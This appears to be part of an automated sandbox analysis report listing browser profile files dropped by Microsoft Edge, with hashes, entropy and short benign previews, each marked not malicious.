C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\098c64c3-d28e-41af-9ba7-d536a77528e5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\0fdcbf0a-5e36-4712-b051-cdf918dd7de5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\391d3389-05f2-4297-b65e-abc1e20cf2e9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\6c57aed4-df84-47f0-8caf-e30d2fae69e9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF4ae7c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	423
Entropy (8bit):	5.234364745651527
Encrypted:	false
SSDEEP:	12:j9MIvVaYebvqBZFUt83WJ/+4P5OaYebvqBaJ:Z5VaYebvyg83WlBOaYebvL
MD5:	0A25DB5379181F44CA6694E5C18E703B
SHA1:	10EFFC832C834CC7EA3E55A74D27A4DB8D9AEF9C
SHA-256:	129E99E690845E38812E143372BED5FC9C3C41E957379C8084DE01839F079CFF
SHA-512:	DA17C5F9F235F836651528B67FC8C2E190AA1A3C333F38A29B218D6642B2E1A2021B20755B41C8FF915EBD3FEE47AF5AADD1724A83CD5DCE3AC3ABEA2A8AE31B
Malicious:	false
Preview:	2024/12/24-13:28:37.277 b90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/12/24-13:28:37.278 b90 Recovering log #3.2024/12/24-13:28:37.281 b90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	423
Entropy (8bit):	5.234364745651527
Encrypted:	false
SSDEEP:	12:j9MIvVaYebvqBZFUt83WJ/+4P5OaYebvqBaJ:Z5VaYebvyg83WlBOaYebvL
MD5:	0A25DB5379181F44CA6694E5C18E703B
SHA1:	10EFFC832C834CC7EA3E55A74D27A4DB8D9AEF9C
SHA-256:	129E99E690845E38812E143372BED5FC9C3C41E957379C8084DE01839F079CFF
SHA-512:	DA17C5F9F235F836651528B67FC8C2E190AA1A3C333F38A29B218D6642B2E1A2021B20755B41C8FF915EBD3FEE47AF5AADD1724A83CD5DCE3AC3ABEA2A8AE31B
Malicious:	false
Preview:	2024/12/24-13:28:37.277 b90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/12/24-13:28:37.278 b90 Recovering log #3.2024/12/24-13:28:37.281 b90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.203070070574287
Encrypted:	false
SSDEEP:	6:NXh7cHlL+q2PN723oH+TcwtpIFUt8EXh7cHz1Zmw+EXhWoFLVkwON723oH+Tcwt7:Zh7kIvVaYebmFUt8Kh7kz1/+KhWs5OaT
MD5:	720CB3B292028CEFD8E12CEAE57E7664
SHA1:	F6DAA0ABA6089D81D8CFC4E1B1893CB68C936BFC
SHA-256:	07C7BA6479DF3680A0872526B3E453CAF84FF0F3BB0F513EB35F3B08C434BF3B
SHA-512:	36566140B50B5203DCCC07009DB3FECFB86A968D2FD2E20B7B15606D26ED4CEDFD217030DC19FC245EB2EAB7F94FA05095C9B69E9989B3B7E2403A82AFA9D352
Malicious:	false
Preview:	2024/12/24-13:28:19.772 1a98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/12/24-13:28:19.772 1a98 Recovering log #3.2024/12/24-13:28:19.773 1a98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.203070070574287
Encrypted:	false
SSDEEP:	6:NXh7cHlL+q2PN723oH+TcwtpIFUt8EXh7cHz1Zmw+EXhWoFLVkwON723oH+Tcwt7:Zh7kIvVaYebmFUt8Kh7kz1/+KhWs5OaT
MD5:	720CB3B292028CEFD8E12CEAE57E7664
SHA1:	F6DAA0ABA6089D81D8CFC4E1B1893CB68C936BFC
SHA-256:	07C7BA6479DF3680A0872526B3E453CAF84FF0F3BB0F513EB35F3B08C434BF3B
SHA-512:	36566140B50B5203DCCC07009DB3FECFB86A968D2FD2E20B7B15606D26ED4CEDFD217030DC19FC245EB2EAB7F94FA05095C9B69E9989B3B7E2403A82AFA9D352
Malicious:	false
Preview:	2024/12/24-13:28:19.772 1a98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/12/24-13:28:19.772 1a98 Recovering log #3.2024/12/24-13:28:19.773 1a98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2680272407768105
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMqSA1LyKOMq+8iP5GDHP/0jMVumE:Kq+n0Jq91LyKOMq+8iP5GLP/0R
MD5:	A24B9AECDB22ACB1A68C21B6F2ABD338
SHA1:	AC6A14792AA01781E21C1DF1776A72B86E99120B
SHA-256:	E6798C6EFE4FB00679922741727CB363956B5E44288E8006788E513981099D1A
SHA-512:	E89615B66B7999600EC6FA5AF31BDBB5D3985A948ABBC44CF3CC8B63B4662C3D4FCFBA3A17A50DDDE4E02B4226ED75D83FD57A940469F8C5A6A37289797BF1AD
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4660221377316737
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcBBoO:v7doKsKuKZKlZNmu46yjxf
MD5:	86BDDC25D9BD6976ADEAD934CCF44E44
SHA1:	22DB68CF0D8531A683A27465BAFECF489ACCA0A3
SHA-256:	89F4BAFBE625183AAACC8DE50A0439DCA16B0761C1764929BB7D22EB70D0D279
SHA-512:	C40109DA91CE7E42D3DE438FF2BC6A3C8C031A99E97385EEBF72348636BF4D14C785040BDCF2157F6462BB38C7D2B4DC2F81427D962D807CC5AB18697FBEA7EA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	12824
Entropy (8bit):	0.13449110291207422
Encrypted:	false
SSDEEP:	3:vlvlllNllv/etXlf80xllholl1qvTv4RRfs21d7jdtQfQ7u/w0xllsvWXtXlf80r:vlvMl/lholrpRS+dndRIlOCln
MD5:	0612613A892C11C56EEF0270F70387B7
SHA1:	CED14E6A4712D9A3915C8977CC9369BEA6C5890D
SHA-256:	2EE215C95D9D510B4767CDA1DEE9448FFE4252BD33C2001DDDA3D0917CFBD61F
SHA-512:	C7FA9BF31F64DCE6F5D68390C21C24E28137B912E184F11D9A972EE1956E4EE6F0FF492CABCDC97576AB991E31FB6891CD5891D73C22FE2691F8224ACD5B6800
Malicious:	false
Preview:	..............i.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a0ee6985-01db-47c8-9b02-dc26a8a7baf2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b9e349cf-1ba9-4efc-9cb5-c2ea8ce72942.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\fb8aa33d-8bd6-4f4e-9fc5-bcc50dc6aa51.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.55847994360738
Encrypted:	false
SSDEEP:	768:YQzzCVWwL7pLGLht4W5wSgf4ql8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPsEIVq7pf:YQ2VDdcht4WaSgfzlu1jalbIa3t6R
MD5:	4A013F77E04FA27E6BD639C5A84DCA4E
SHA1:	EB6F940E41571A0B8A1884B1DC827FEDD830A807
SHA-256:	404623AA8E423F8042FA847E56264AE217BB7C7A4A5AD757799EE51809C2D19D
SHA-512:	76EE460D7AFE2B7917BCA66987300F487BCC620B348E1A88B3B22CE6FE3E93318C1843E30CFAE300E220DE236F720B3853C0168C9C6257ADCFF36D5AEC9D9DBD
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379538499699763","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379538499699763","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10234774519367401
Encrypted:	false
SSDEEP:	12:+jsjxLspEjVl/PnnnnnnnnnnnvoQ/Eou:+jsjWoPnnnnnnnnnnnv1j
MD5:	6553B7E3B17C5F8113F46F9A67A2FABA
SHA1:	189C5A52F556D8A5ED530624DEC74F73C2462ADF
SHA-256:	1CFCDF3C6D820F2E418F3602075BE8FAC50B38510020E106EABA5F4104537255
SHA-512:	B9DBE1D5FC547FDD9497439BA3D899D9124F1624DB26B8170A8E577107A3F9C071AE97C8DA3599D61E3FAA315B64BA4882EA2C2A0346B1D9819B5B14D945E728
Malicious:	false
Preview:	..-.............M.......M.o.qe^.$J...V... {.....-.............M.......M.o.qe^.$J...V... {...........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8900699826953017
Encrypted:	false
SSDEEP:	384:xfv+3vAQv5VvknvYPvmCvt3vZzvSruvU21IvB8v8RyTyewIyAy8yyaxy1A:7r
MD5:	E7BFEEA0D4063F8876BD212E5BD0B695
SHA1:	412C18C589D0E03F5702091B84B33AF4455E1416
SHA-256:	1726A62DCB2CE731E364CF8C8652EB53EC2A8570379DD0A8FCA042F90EB052C8
SHA-512:	C320E2630B85E254F404A1570432F83EF1892D3B4FAE1824DBBD816E38B625220C2402170442BE003FB5292D4354650F03607DD6416D0FCC50BF197B51B655A3
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	3.2463408753900866
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuuuuP8A:pHayp
MD5:	B468E199B505EAA4FA2B783110178BB6
SHA1:	2047889416562660ED243A337B773407E87B8626
SHA-256:	5A62B421BB390CE95EDC22BC62388190B54BE7AFADA1F9109141D8C62E7FD18A
SHA-512:	D870589DBB89F609C46C1C09CFFFF3EC39EBB69D3CB302FD0F03990AA67C588F3021AC4AE8F0D0E5085D89FA4B521C60C8ECD91639C152CE4B5320B2DCEA3086
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=................P..0................39_config..........6.....n ...1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.217753065412729
Encrypted:	false
SSDEEP:	6:NkRB3+q2PN723oH+TcwtfrK+IFUt8E22NZmw+E22RVkwON723oH+TcwtfrUeLJ:WcvVaYeb23FUt8J2N/+J2/5OaYeb3J
